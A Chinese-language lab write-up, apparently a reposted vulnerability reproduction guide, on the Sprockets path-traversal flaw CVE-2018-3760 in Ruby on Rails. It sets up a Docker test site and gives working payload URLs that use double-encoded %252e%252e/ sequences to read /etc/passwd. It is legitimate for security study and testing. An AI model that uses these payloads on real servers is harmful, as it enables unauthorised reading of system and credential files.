1. 程式人生 > >Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)復現

Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)復現

Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)

Ruby On Rails在開發環境下使用Sprockets作為靜態檔案伺服器,Ruby On Rails是著名Ruby Web開發框架,Sprockets是編譯及分發靜態資原始檔的Ruby庫。

Sprockets 3.7.1及之前版本中,存在一處因為二次解碼導致的路徑穿越漏洞,攻擊者可以利用%252e%252e/來跨越到根目錄,讀取或執行目標伺服器上任意檔案。

參考連結:

環境搭建

啟動一個用Ruby On Rails腳手架生成的預設站點:

docker-compose up -d

訪問http://your-ip:3000

即可檢視到歡迎頁面。

漏洞復現

直接訪問http://your-ip:3000/assets/file:%2f%2f/etc/passwd,將會報錯,因為檔案/etc/passwd不在允許的目錄中:

我們通過報錯頁面,可以獲得允許的目錄列表。隨便選擇其中一個目錄,如/usr/src/blog/app/assets/images,然後使用%252e%252e/向上一層跳轉,最後讀取/etc/passwd

http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd